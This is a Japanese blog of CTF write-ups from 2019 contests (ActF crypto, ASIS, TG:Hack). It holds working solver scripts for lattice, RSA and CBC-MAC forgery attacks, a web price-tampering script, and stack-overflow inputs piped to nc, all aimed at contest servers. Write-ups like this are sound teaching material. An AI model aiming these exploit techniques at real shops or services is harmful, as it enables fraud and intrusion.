f020253e6020276480202640e02020265020231f50202341202024bf20202787f02023dc002027919020202ee02023f9402023c9202023ada020221a9020272e302025023020277a2020256b6020269dc020204ac0202643f020232c602020fc80202475f02023d73020215e402023c8602026fbc02024345020201c90202322d020229230202522302022b260202164402022af702025b9402020b2602020cf00202532802026c820202209f02022a2f02021cb002024f1202027acb020215c9020266cb020266d3020245be0202099b02027deb02027a5302020b7b02023d4e02025cfc0202438702022fbd0202540d0202312102027e5f020140020262ec020223cd020202c602027f77020221600202332302027ec802021e3602025c600202594302022fef020236f802023cf80202291602026b6a02023b39020237a5020232b2020257170202414102023d520202283b020274a502025f3a0202388f02022c7b020207290202723f0202454c0202289e02027ef0020226e00202251502027ab6020222170202090302022d8d020259fa02025c38020279c302021ffe020255af02027dd1020212b40202398e0202373202023c6b020261be020278e302020af1020222470202738302027eb00202178202025f010202752002021ee3020206e402027a5402020325020218cd02021d8502022e7e020227790202589002026c71020242a8020204e202025cad0202512d020271c202027f6802026d3002024196020223df020248560202667902024c58020260e4020207db02024a3e020209be020248be02024c6c0202169a020247280202528a0202774602027d1b02026944020246e2020239f40202226e02027e4e02022fe50202653502022ca702021afd02021f0702021221020276fc0202453002021bc6020232a2020245df020253c002021c4c020240780202197c02021411020250ba02022cd202020e5d0202080002027e3f020234a0020228760202786c020256db0202053f02020ae70202453e02022d2802024ea50202202002020ed7020253100202074b02023b3402025bd502021f7d02024857020215540202202102026db402027a4c020238560202265f020271d002027dcb0202294d02026a64020210950202697f020242a602022edf02023873020265bd02027e4c020213a9020234cf020232ad020226b602025fe002025d5f020256b2020253a60202336d02024dd602023da7020260c702021aa1020264b2020254110202221902021c900202384e02024eab020259990202642f0202292e0202026b0202029e0202138f02027bc10202178e0202757902027c6c02025ef40202195102022dd1020231870202592b020270e00202057402023a14020218490202487f02027d4902022dd7020221f402021a4d0202753e02022c15020238d202021e3f02023b9202020c3702020a7902022651020273a902026b5602024573020277350202042302027ab6020239100202609f020264450202552002021da7020242a50202769202022311020271b8020249d702026f87020271dd02023ab2020239d2
[0] r
[1] r+s
Choice: 1
r+s: 308209fd020206d202020ef60202200502025ab302024fbc0202319402022906020255fc02025dd80202101602023f480202201202022ae002023c260202310a02021348020213060202123e020262aa02025d5c02027e46020243d60202213c0202165b0202560802020f17020270f402025fc102025b3602026a4b02027eac02024c7f02021484020217e8020237b402020860020246df020265620202513c02020cad0202517002022f0602023e7702022a4d020223680202184302023b640202453a02022428020244f702026cb7020220550202259c02024aa1020256c102025095020260cd0202796a02024a8502024979020236b00202355502027695020141020217ff02023022020223af0202248c020275a402020c8b020206be020202ff02023ec102027e4e020256f902020fbb02027dbe02027d6802021ec50202049f02021e280202570a0202613702023314020243f6020227950202448902022a0602023a18020218180202385602026958020242e20202305c020266f6020266fd02021dd80202446c0202751202025d1c020249d6020221a202026f90020279e7020246740202124d0202053f020214d702020cac020209300202206402025c400202241e02026a2802021d6b02026bd5020269da02027c790202016302026b7d02026ad8020242ae02023a9502023f1d020237770202636c020256aa020260020202351802022b9902025179020203ca02025cc4020265190202085d02027d5802027363020276640202198b0202113802026db3020237c702024cf302024c9a020231510202012a020252e302020b7b02020ac302020a5102021cdb02024a75020264b3020204980202506a02025ebf0202340102022d3902020cf0020273450202067c0202722802027c1802026c8e0202316e0202715e0202427602023d5f020255d2020268dd02023a1c020207c60202470a020242cd02027f4b02026d0d0202754e02023a82020271b9020260b902022044020249e502020c2202024f9a020221920202256802025b7c0202715802025d5a02021d4b02025067020258fe02023e1b02020978020262e00202047802022d7f020278460202436d02021f5702022ee702023e8b0202483a02022c8202027043020205f20202168c020267c90202262b02027cb202023680020250650202060b0202349602021f92020261700202693402026f9f020223ff02020ab6020221250202203b02023f1202026cc7020267cf020257d002023d8702020bb50202158b02021ec6020255fa02025cd702025abb02023ecf02023e4d02022bbe020221e0020258360202530402026cbc02024afa0202055102022dc402023fc902025ce60202343f020234f3020229af02027fea020272ee02025e6c02027b210202647102020867020270d00202166602023c1d02026eb602024bd302022a9602023cb30202371c02022be402024bac0202510302027d090202230c02026a2c02022a0b0202742302021d4b0202236202023c92020270c30202437302026b95020238b8020218de020228100202645e0202533e02026a3302022fde02021b8b02025f440202015902021487020215cb02024e5b02022d8b02023ed70202223202023d12020246f4020212be020276cc02022d87020235670202038102027b3202022ea0020214b4020202f40202488502023b3c020233d60202272b02020f970202272d0202231f0202546302026e0c020206dc020262ad020266f9020211de020205e50202507002022c87020207770202634202026a0302023b66020215d4020268d902024b1002021c4702025a2d02023cae0202666a02024c9b02025f7e02025f7a0202408702021e5e0202730702026a7302021edc02026860020267ce02027a9b02020f5b02026e7c02027c70020250480202458a0202340002022a5f0202149f020252f5020204e40202653002025331020240460202712002026302020242d802027daf0202019d02021c1c0202369b020269be020257d602026b7102022b030202790602025f6e02022b79020272d0020231f502021e9802021a230202308202022b6202027ed402027d250202420202026ffc020278e3020236c502027e360202207f020257980202635302026f4c02023e59020267ae02022b67020229cf02023384020221fe02023d5b02023300020242860202605202020eab020207bc020214a002020da102021c2402023f1f02024e5102023dab0202444202021bbf020218300202047f02027e200202647f020204830202501002022dd00202511902020b130202693f020256e502020b05020223f902025b9b0202610d0202338802021d6a02021a76020200ae02027ee002021a3d02020b0a02022d59020208e10202524d02020921020143020267d4020202ea02020bff02021d7202021c6f02024045020236120202595d020212610202446a020222e2020221fd0202061602024bbe02020b8102020f1502025b4702024af402020dd2020266fc020265d302022137020261dc020272ac020265dc0202637302027ff502025c9f020253b9020202d602027eaa020201e00202147502026fe0020250460202107502021be002023dce02022d7d0202586702024a030202678b02024b92020229ce020211bf02021bf90202714c02023b3d020226b6020211d2020238ba02020f420202502e02027c3c020225dd020261960202377802021f9f0202476f0202373a0202655702020f390202709c020251960202467a0202010f0202351f02020b8b02022e6f02023ffe0202419002027db602026f4702027bb40202107e02027c8802026764020227e2020233ec02023f1f02023e2602021552020236c7020240db02027ee102025c990202073f020256820202179f02027304020236da0202737602020e610202629002027b8202022cc402020fa5020277ea02026b0b0202244f0202129d0202177402027b44020225aa02026bdf0202253f020279ae02026aa5020238ed0202651d0202406d02022da2020274e8020266b20202056d0202562a02021b0f02021d3e020261bc020227a1020238e202024e2e02020560020266890202296e020237fe0202018c020209e70202196e02027b6702024ef20202233e02024a7b02023c0b02020ed60202250a02024f4002025cf302021ea202020bb6020273dd0202698c02025d8f02027b1b02024679020224970202334d02021fb402024c1902020f7902027678020263a80202698a020272af020276ce02021e5602021eb2020242d20202139d02027d690202039f020224ff0202042b020264b502022246020232130202132002026136020127020221b602020cb7020250a10202496d0202441502021088020218a30202253b0202222e02026b66020246040202087a02026cc0020267d7020279f002022bf402021d1c02022e91020272cd020240a802025bb702022a87020277b1020226550202040a0202108a020241de0202483202024af5020208670202768c020271d60202039b020203fc020276900202360902020e2c020225e402021f8f

A*r + eは何回アクセスしても変わらない。rとr+sの値がわかるので、引き算すればsの値がわかる。あとはencryptは実質XORなので、もう一度同じようなことをすれば、フラグが得られる。

#!/usr/bin/env python3
import socket
import binascii
import numpy as np
from Crypto.Util.asn1 import DerSequence
from Crypto.Hash import SHAKE256
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def decrypt(s, enc):
    raw = bytes(np.mod(s, 256).tolist())
    shake = SHAKE256.new()
    shake.update(raw)
    pad = shake.read(len(enc))
    return strxor(enc, pad)

der = DerSequence()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19003))

data = recvuntil(s, b'Choice: ')
print((data + b'0').decode())
s.sendall(b'0\n')
data = recvuntil(s, b'\n').rstrip()
print(data.decode())

der.decode(binascii.unhexlify(data.decode().split(': ')[1]))
r = np.array([c for c in der])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19003))

data = recvuntil(s, b'Choice: ')
print((data + b'1').decode())
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data.decode())

der.decode(binascii.unhexlify(data.decode().split(': ')[1]))
rs = np.array([c for c in der])

s = rs - r

with open('flag.enc', 'rb') as f:
    enc = f.read()

flag = decrypt(s, enc)
print(flag.decode())
actf{deep_into_that_darkness_learning_with_errors_goes}

Powerball (CRYPTO 200)

スクリプトの処理の概要は以下の通り。

balls: 0-4095のランダム整数値 6個
x    : 0-nのランダム整数値 6個
x表示
v入力

以下6回繰り返し
k = pow(v-x[i], d, n)
m.append((balls[i]+k) % n)
m表示

式を変えてballsを計算しやすくする。

m[i] = (balls[i] + pow(v-x[i], d, n)) % n
⇒m[i] - balls[i] = pow(v-x[i], d, n)
⇒pow(m[i] - balls[i], e, n) = v-x[i]

balls総当たりで上記が一致するものを探す。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

with open('public.txt', 'r') as f:
    n = int(f.readline()[3:])
    e = int(f.readline()[3:])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19001))

data = recvuntil(s, 'v: ')
x = eval(data.split('\n')[-3].split(': ')[1])
v = max(x)
print data + str(v)
s.sendall(str(v) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
m = eval(data.split(': ')[1])

for i in range(6):
    data = recvuntil(s, ': ')
    for b in range(4096):
        if pow(m[i] - b, e, n) == v - x[i]:
            print data + str(b)
            s.sendall(str(b) + '\n')
            break

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
actf{no_more_free_oblivious_transfers}

MAC Forgery (CRYPTO 220)

サーバの処理の流れは以下の通り。

・IV生成、welcomeメッセージのMACを生成
・IV+MAC表示
・Message入力(16進数)
・MAC入力(16進数):32バイト
・MessageとMACが妥当だとフラグ表示

mac()
・m
 ・パディング
 ・16バイトずつの配列に変換
 ・配列の先頭に配列数のバイト列を挿入
・t
 ・ivを設定
 ・iv   ^ m[0] -> c[0]
  c[0] ^ m[1] -> c[1]
  c[1] ^ m[2] -> c[2]

得られるMACは以下のようなイメージで得られる。

m[0]:サイズをビッグエンディアンで16バイトにしている。

iv   ^ m[0] -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7] -> MAC

サイズを7から15にし、以下のようになるよう、IVと平文を調整する。

iv   ^ s15  -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7]
c[7] ^ m[8] -> c[0]
c[0] ^ m[1] -> c[1]
c[1] ^ m[2] -> c[2]
c[2] ^ m[3] -> c[3]
c[3] ^ m[4] -> c[4]
c[4] ^ m[5] -> c[5]
c[5] ^ m[6] -> c[6]
c[6] ^ m[7] -> c[7]
import socket
import binascii
from Crypto.Util.number import long_to_bytes

BLOCK_SIZE = 16

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def pad(s):
    c = BLOCK_SIZE - len(s) % BLOCK_SIZE
    return s + chr(c) * c

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.159.113.26', 19002))

welcome = b'''\
If you provide a message (besides this one) with
a valid message authentication code, I will give
you the flag.'''

data = recvuntil(s, 'Message: ')
mac = data.split('\n')[-2].split(': ')[1]
iv = binascii.unhexlify(mac)[:16]
t = binascii.unhexlify(mac)[16:]

#### calculate new iv ####
org_pt0 = long_to_bytes(7, BLOCK_SIZE)
new_pt0 = long_to_bytes(15, BLOCK_SIZE)
new_iv = str_xor(str_xor(org_pt0, iv), new_pt0)

#### calculate 8th block of plaintext (begin 0) ####
new_pt8 = str_xor(str_xor(org_pt0, iv), t)

#### create message ####
new_msg = binascii.hexlify(pad(welcome) + new_pt8 + welcome)
print data + new_msg
s.sendall(new_msg + '\n')

#### create mac ####
new_mac = binascii.hexlify(new_iv + t)
data = recvuntil(s, 'MAC: ')
print data + new_mac
s.sendall(new_mac + '\n')

data = recvuntil(s, '\n')
print data
actf{initialization_vectors_were_probably_a_bad_idea}

ASIS CTF Quals 2019 Writeup

この大会は2019/4/20 15:00(JST)~2019/4/22 15:00(JST)に開催されました。
今回もチームで参戦。結果は367点で585チーム中70位でした。
メインの問題は一問も解けず、残念でした。
暗号1問はもう少し頑張ればできた気はしますが、本当に残念!
一応自分で解けた問題をWriteupとして書いておきます。

Survey (Cooldown)

アンケートに答えたら、フラグが表示された。

ASIS{Th<3nks_f0r_part!c!pat!ng_ASISCTF20190_0U@Finals!}

TG:Hack 2019 Writeup

この大会は2019/4/18 1:00(JST)~2019/4/21 1:00(JST)に開催されました。
今回は個人で参戦。結果は1325点で703チーム中70位でした。
解けた問題をWriteupとして書いておきます。

Welcome 1 (Misc 5)

問題にフラグが書いてあった。

TG19{I_am_a_fancy_flag_pls_submit_me!}

Welcome 2 (Misc 10)

Twitterの@tghack1337アカウントでフラグを見つけた。

TG19{tweet_like_a_easter_chicken_happy_easter!}

Welcome 3 (Misc 10)

instagramでフラグが書いてある画像を見つけた。
f:id:satou-y:20190424212037p:plain

TG19{happy_easter_hackers!}

Welcome 4 (Misc 10)

Discordの#tghackチャネルにフラグが書いてある。

TG19{do_not_hesitate_to_ask_questions!}

Hacking Mother's Network (Misc 10)

YouTubeを見てると、フラグが表示される。

TG19{join_us_at_tghack.no}

Bytecodes (Reverse engineering 50)

pycをデコンパイルする。

$ uncompyle6 main.pyc 
# uncompyle6 version 2.13.3
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
# [GCC 5.4.0 20160609]
# Embedded file name: main.py
# Compiled at: 2019-04-13 21:56:41
# Size of source mod 2**32: 514 bytes
import binascii
import sys

def print_flag():
    enc = '1605737b39323b362a2d2c1d203b3627212d26271d2b2c1d362a271d2a2d3731273f'
    enc = binascii.unhexlify(enc)
    key = 66
    dec = ''
    for i in enc:
        dec += chr(i ^ key)

    print(dec)


def main(code):
    if code == 1337:
        print_flag()
    else:
        print('wrong!')


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('error! missing magic code!')
        sys.exit()
    main(int(sys.argv[1]))
# okay decompiling main.pyc

このコードをmain.pyとして引数に1337を指定して実行する。

$ python3 main.py 1337
TG19{python_bytecode_in_the_house}
TG19{python_bytecode_in_the_house}

Filemagic (Forensics 70)

foremostで含まれているファイルを抽出する。

$ foremost store.bin 
Processing: store.bin
|*|

PNGファイルが抽出できて、フラグが書いてある。
f:id:satou-y:20190424212527p:plain

TG19{very_dough_much_loaf}

Superb Owlput (Forensics 150)

DNSの名前を並べるとjpgの形式になるので、結合する。

from scapy.all import *

packets = rdpcap('superb-owlput.pcap')

flag = ''
for p in packets:
    if p[IP].src == '172.19.1.50':
        if p.haslayer(DNSQR):
            flag += p[DNSQR].qname.split('.')[0]

flag = flag.decode('hex')

with open('flag.jpg', 'wb') as f:
    f.write(flag)

EXIFを見てみる。

$ exiftool flag.jpg
ExifTool Version Number         : 10.10
File Name                       : flag.jpg
Directory                       : .
File Size                       : 402 kB
File Modification Date/Time     : 2019:04:18 21:03:08+09:00
File Access Date/Time           : 2019:04:18 21:09:21+09:00
File Inode Change Date/Time     : 2019:04:18 21:03:08+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg
Y Cb Cr Positioning             : Centered
Image Width                     : 2380
Image Height                    : 3397
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2380x3397
Megapixels                      : 8.1

Artistの文字列をBase64デコードする。

$ echo VEcxOXtUSEVfV0FMTFNfQVJFX0NPVkVSRURfV0lUSF9NQUdJQ0FMX1NBTFR9Cg | base64 -d
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}
base64: 無効な入力
TG19{THE_WALLS_ARE_COVERED_WITH_MAGICAL_SALT}

Wandshop (Web 100)

Elder Wandの価格を1にして、購入する。

import requests
import re

url = 'https://wandshop.tghack.no/'

s = requests.Session()
r = s.get(url)
body = r.text
print body

pattern = '"csrfmiddlewaretoken" value="(.+)">'
m = re.search(pattern, body)
mwtoken = m.group(1)

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'add_cart', 'sku': '321', 'price': '1'}
r = s.post(url, data=payload)
body = r.text
print body

payload = {'csrfmiddlewaretoken': mwtoken, 'action': 'order'}
r = s.post(url, data=payload)
body = r.text
print body

実行結果は以下の通り。

<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1337 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="Ngm5mxC28nD3RHUWthKtrRSuqbFixDC5pXlXFKQUbsI9KKS6mQgj95QDQbf46BGA">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>


    <h1>Your credit: 1336 coins</h1>
    <h1>Shopping cart:</h1>
    <ul>

            <li>321 - 1</li>

        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="reset"/>
            <button>Reset</button>
        </form>
        <form action="/" method="post">
            <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
            <input type="hidden" name="action" value="order"/>
            <button>Send order</button>
        </form>
    </ul>
    <h1>Items</h1>
    <div style="display: flex; flex-direction: row;">

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Horse-hair wand</strong><br/>
                SKU: 1<br/>
                Price: 123.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="1"/>
                    <input type="hidden" name="price" value="123.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Dragon-bone wand</strong><br/>
                SKU: 2<br/>
                Price: 323.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="2"/>
                    <input type="hidden" name="price" value="323.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Troll-snot wand</strong><br/>
                SKU: 3<br/>
                Price: 723.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="3"/>
                    <input type="hidden" name="price" value="723.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

            <div style="width: 10em; height: 10em; text-align: center; background-color: lightgray; margin: 0.5em;">
                <strong>Elder Wand</strong><br/>
                SKU: 321<br/>
                Price: 5000.00 coins
                <form action="" method="post">
                    <input type="hidden" name="csrfmiddlewaretoken" value="3AtL6p0WzQyRiKHUBMwDpx6q0jILLfxyFhsDpCeOCVDXbNF4ul2t7L4zqjixkdB3">
                    <input type="hidden" name="action" value="add_cart"/>
                    <input type="hidden" name="sku" value="321"/>
                    <input type="hidden" name="price" value="5000.00"/>
                    <button type="submit">Add to cart</button>
                </form>
            </div>

    </div>

</body>
</html>
<html>
<head>
    <title>OllyDbg Wands</title>
</head>
<body>

    Yay! You ordered an Elder Wand. FLAG: TG19{Elder wand iz best wand}

</body>
</html>
TG19{Elder wand iz best wand}

Pwntions 1 (Pwn 50)

31文字適当に入れてみる。

$ nc pwntion1.tghack.no 1061
▄▄▌ ▐ ▄▌▄▄▄ .▄▄▌   ▄▄·       • ▌ ▄ ·. ▄▄▄ .    ▄▄▄▄▄                          
██· █▌▐█▀▄.▀·██•  ▐█ ▌▪▪     ·██ ▐███▪▀▄.▀·    •██  ▪                         
██▪▐█▐▐▌▐▀▀▪▄██▪  ██ ▄▄ ▄█▀▄ ▐█ ▌▐▌▐█·▐▀▀▪▄     ▐█.▪ ▄█▀▄                     
▐█▌██▐█▌▐█▄▄▌▐█▌▐▌▐███▌▐█▌.▐▌██ ██▌▐█▌▐█▄▄▌     ▐█▌·▐█▌.▐▌                    
 ▀▀▀▀ ▀▪ ▀▀▀ .▀▀▀ ·▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀ ▀▀▀      ▀▀▀  ▀█▄▀▪                    
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐█▐▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀


Professor maritio_o:
"As there is little foolish wand-waving here, many of you will
hardly believe this is magic. I don't expect you will really
understand the beauty of the softly simmering cauldron with
its shimmering fumes, the delicate power of liquids that
creep through the human veins, bewitching the minds, ensnaring
the senses... I can teach you how to bottle fame, brew glory,
and even stopper death - if you aren't as big a bunch of
dunderheads as I usually have to teach."

Student:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
TG19{remember that C always terminates on null bytes^_^}
TG19{remember that C always terminates on null bytes^_^}

Pwntions 2 (Pwn 75)

48バイトの後、整数値で1になっていればフラグが表示される。

$ python -c 'print "A"*48+"\x01\x00\x00\x00"' | nc pwntion2.tghack.no 1062
▪   ▐ ▄ ▄▄▄▄▄▄▄▄        ·▄▄▄▄  ▄• ▄▌ ▄▄· ▄▄▄▄▄▪         ▐ ▄     ▄▄▄▄▄         
██ •█▌▐█•██  ▀▄ █·▪     ██▪ ██ █▪██▌▐█ ▌▪•██  ██ ▪     •█▌▐█    •██  ▪        
▐█·▐█▐▐▌ ▐█.▪▐▀▀▄  ▄█▀▄ ▐█· ▐█▌█▌▐█▌██ ▄▄ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌     ▐█.▪ ▄█▀▄    
▐█▌██▐█▌ ▐█▌·▐█•█▌▐█▌.▐▌██. ██ ▐█▄█▌▐███▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌     ▐█▌·▐█▌.▐▌   
▀▀▀▀▀ █▪ ▀▀▀ .▀  ▀ ▀█▄▀▪▀▀▀▀▀•  ▀▀▀ ·▀▀▀  ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪     ▀▀▀  ▀█▄▀▪   
 ▄▄▄·▄▄▌ ▐ ▄▌ ▐ ▄ ▄▄▄▄▄▪         ▐ ▄ .▄▄ ·      ▄▄· ▄▄▌   ▄▄▄· .▄▄ · .▄▄ · ▄▄ 
▐█ ▄███· █▌▐█•█▌▐█•██  ██ ▪     •█▌▐█▐█ ▀.     ▐█ ▌▪██•  ▐█ ▀█ ▐█ ▀. ▐█ ▀. ██▌
 ██▀·██▪▐██▐▌▐█▐▐▌ ▐█.▪▐█· ▄█▀▄ ▐█▐▐▌▄▀▀▀█▄    ██ ▄▄██▪  ▄█▀▀█ ▄▀▀▀█▄▄▀▀▀█▄▐█·
▐█▪·•▐█▌██▐█▌██▐█▌ ▐█▌·▐█▌▐█▌.▐▌██▐█▌▐█▄▪▐█    ▐███▌▐█▌▐▌▐█ ▪▐▌▐█▄▪▐█▐█▄▪▐█.▀ 
.▀    ▀▀▀▀ ▀▪▀▀ █▪ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪ ▀▀▀▀     ·▀▀▀ .▀▀▀  ▀  ▀  ▀▀▀▀  ▀▀▀▀  ▀
------------------------------ Overflow pt. 2 -------------------------------


Professor maritio_o:
> Welcome to the second class about stack overflow pwntions!
> Pls don't hesitate to ask questions!

Student:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Professor maritio_o:
> Excellent! Ten points to your house!
